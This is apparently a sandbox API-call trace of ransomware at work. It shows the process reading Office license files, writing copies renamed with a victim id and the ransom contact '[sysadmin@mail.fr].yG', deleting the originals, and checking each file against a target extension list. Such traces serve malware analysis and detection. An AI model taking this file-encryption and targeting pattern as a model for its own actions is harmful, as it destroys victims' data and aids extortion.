	[0173.568] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.568] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0173.569] GetLastError () returned 0x0
	[0173.569] ReadFile (in: hFile=0x550, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2bab, lpOverlapped=0x0) returned 1
	[0173.775] WriteFile (in: hFile=0x564, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0173.789] ReadFile (in: hFile=0x550, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.789] WriteFile (in: hFile=0x564, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x114, lpOverlapped=0x0) returned 1
	[0173.789] SetEndOfFile (hFile=0x564) returned 1
	[0173.790] CloseHandle (hObject=0x564) returned 1
	[0173.790] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.790] SetEndOfFile (hFile=0x550) returned 1
	[0173.798] CloseHandle (hObject=0x550) returned 1
	[0173.798] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0173.799] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-pl.xrm-ms")) returned 1
	[0173.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82
	[0173.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82
	[0173.800] lstrlenW (lpString=".doc") returned 4
	[0173.800] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.800] lstrlenW (lpString=".docx") returned 5
	[0173.800] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.800] lstrlenW (lpString=".pdf") returned 4
	[0173.801] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.801] lstrlenW (lpString=".xls") returned 4
	[0173.801] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.801] lstrlenW (lpString=".xlsx") returned 5
	[0173.801] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.801] lstrlenW (lpString=".ppt") returned 4
	[0173.801] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82
	[0173.801] lstrlenW (lpString=".zip") returned 4
	[0173.801] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.801] lstrlenW (lpString=".rar") returned 4
	[0173.801] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.801] lstrlenW (lpString=".bz2") returned 4
	[0173.801] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.801] lstrlenW (lpString=".7z") returned 3
	[0173.801] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82
	[0173.801] lstrlenW (lpString=".dbf") returned 4
	[0173.801] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82
	[0173.801] lstrlenW (lpString=".1cd") returned 4
	[0173.801] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82
	[0173.801] lstrlenW (lpString=".jpg") returned 4
	[0173.801] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.802] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=11179) returned 1
	[0173.802] CloseHandle (hObject=0x564) returned 1
	[0173.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-pl.xrm-ms")) returned 0x220
	[0173.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0173.803] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.803] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0173.804] GetLastError () returned 0x0
	[0173.804] ReadFile (in: hFile=0x564, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2bab, lpOverlapped=0x0) returned 1
	[0173.812] WriteFile (in: hFile=0x478, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0173.813] ReadFile (in: hFile=0x564, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.813] WriteFile (in: hFile=0x478, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x114, lpOverlapped=0x0) returned 1
	[0173.813] SetEndOfFile (hFile=0x478) returned 1
	[0173.813] CloseHandle (hObject=0x478) returned 1
	[0173.813] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.814] SetEndOfFile (hFile=0x564) returned 1
	[0173.816] CloseHandle (hObject=0x564) returned 1
	[0173.817] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0173.817] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-pl.xrm-ms")) returned 1
	[0173.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82
	[0173.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82
	[0173.819] lstrlenW (lpString=".doc") returned 4
	[0173.819] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.819] lstrlenW (lpString=".docx") returned 5
	[0173.819] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.819] lstrlenW (lpString=".pdf") returned 4
	[0173.819] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.819] lstrlenW (lpString=".xls") returned 4
	[0173.819] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.819] lstrlenW (lpString=".xlsx") returned 5
	[0173.819] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.819] lstrlenW (lpString=".ppt") returned 4
	[0173.820] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82
	[0173.820] lstrlenW (lpString=".zip") returned 4
	[0173.820] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.820] lstrlenW (lpString=".rar") returned 4
	[0173.820] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.820] lstrlenW (lpString=".bz2") returned 4
	[0173.820] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.820] lstrlenW (lpString=".7z") returned 3
	[0173.820] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82
	[0173.820] lstrlenW (lpString=".dbf") returned 4
	[0173.820] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82
	[0173.820] lstrlenW (lpString=".1cd") returned 4
	[0173.820] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82
	[0173.820] lstrlenW (lpString=".jpg") returned 4
	[0173.820] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.821] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=23134) returned 1
	[0173.821] CloseHandle (hObject=0x564) returned 1
	[0173.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ppd.xrm-ms")) returned 0x220
	[0173.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0173.823] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.823] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0173.824] GetLastError () returned 0x0
	[0173.824] ReadFile (in: hFile=0x564, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x5a5e, lpOverlapped=0x0) returned 1
	[0173.834] WriteFile (in: hFile=0x478, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x5a60, lpOverlapped=0x0) returned 1
	[0173.836] ReadFile (in: hFile=0x564, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.836] WriteFile (in: hFile=0x478, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x116, lpOverlapped=0x0) returned 1
	[0173.845] SetEndOfFile (hFile=0x478) returned 1
	[0173.845] CloseHandle (hObject=0x478) returned 1
	[0173.845] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.845] SetEndOfFile (hFile=0x564) returned 1
	[0173.849] CloseHandle (hObject=0x564) returned 1
	[0173.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0173.849] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ppd.xrm-ms")) returned 1
	[0173.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83
	[0173.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83
	[0173.850] lstrlenW (lpString=".doc") returned 4
	[0173.850] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.850] lstrlenW (lpString=".docx") returned 5
	[0173.850] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.850] lstrlenW (lpString=".pdf") returned 4
	[0173.850] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.850] lstrlenW (lpString=".xls") returned 4
	[0173.851] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.851] lstrlenW (lpString=".xlsx") returned 5
	[0173.851] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.851] lstrlenW (lpString=".ppt") returned 4
	[0173.851] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83
	[0173.851] lstrlenW (lpString=".zip") returned 4
	[0173.851] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.851] lstrlenW (lpString=".rar") returned 4
	[0173.851] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.851] lstrlenW (lpString=".bz2") returned 4
	[0173.851] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.851] lstrlenW (lpString=".7z") returned 3
	[0173.851] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83
	[0173.851] lstrlenW (lpString=".dbf") returned 4
	[0173.851] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83
	[0173.851] lstrlenW (lpString=".1cd") returned 4
	[0173.851] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83
	[0173.851] lstrlenW (lpString=".jpg") returned 4
	[0173.851] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.852] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=11630) returned 1
	[0173.852] CloseHandle (hObject=0x564) returned 1
	[0173.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ul-oob.xrm-ms")) returned 0x220
	[0173.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0173.853] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.853] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0173.854] GetLastError () returned 0x0
	[0173.854] ReadFile (in: hFile=0x564, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2d6e, lpOverlapped=0x0) returned 1
	[0174.150] WriteFile (in: hFile=0x478, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0174.151] ReadFile (in: hFile=0x564, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.152] WriteFile (in: hFile=0x478, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0174.152] SetEndOfFile (hFile=0x478) returned 1
	[0174.385] CloseHandle (hObject=0x478) returned 1
	[0174.385] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.385] SetEndOfFile (hFile=0x564) returned 1
	[0174.389] CloseHandle (hObject=0x564) returned 1
	[0174.389] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0174.390] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ul-oob.xrm-ms")) returned 1
	[0174.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86
	[0174.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86
	[0174.396] lstrlenW (lpString=".doc") returned 4
	[0174.396] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.396] lstrlenW (lpString=".docx") returned 5
	[0174.396] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.396] lstrlenW (lpString=".pdf") returned 4
	[0174.396] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.396] lstrlenW (lpString=".xls") returned 4
	[0174.396] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.396] lstrlenW (lpString=".xlsx") returned 5
	[0174.396] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.396] lstrlenW (lpString=".ppt") returned 4
	[0174.396] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86
	[0174.396] lstrlenW (lpString=".zip") returned 4
	[0174.396] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.396] lstrlenW (lpString=".rar") returned 4
	[0174.396] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.397] lstrlenW (lpString=".bz2") returned 4
	[0174.397] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.397] lstrlenW (lpString=".7z") returned 3
	[0174.397] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86
	[0174.397] lstrlenW (lpString=".dbf") returned 4
	[0174.397] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86
	[0174.397] lstrlenW (lpString=".1cd") returned 4
	[0174.397] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86
	[0174.397] lstrlenW (lpString=".jpg") returned 4
	[0174.397] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.398] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=11635) returned 1
	[0174.398] CloseHandle (hObject=0x564) returned 1
	[0174.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ul-oob.xrm-ms")) returned 0x220
	[0174.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0174.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0174.399] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.399] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0174.401] GetLastError () returned 0x0
	[0174.401] ReadFile (in: hFile=0x564, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2d73, lpOverlapped=0x0) returned 1
	[0174.403] WriteFile (in: hFile=0x478, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2d80, lpOverlapped=0x0) returned 1
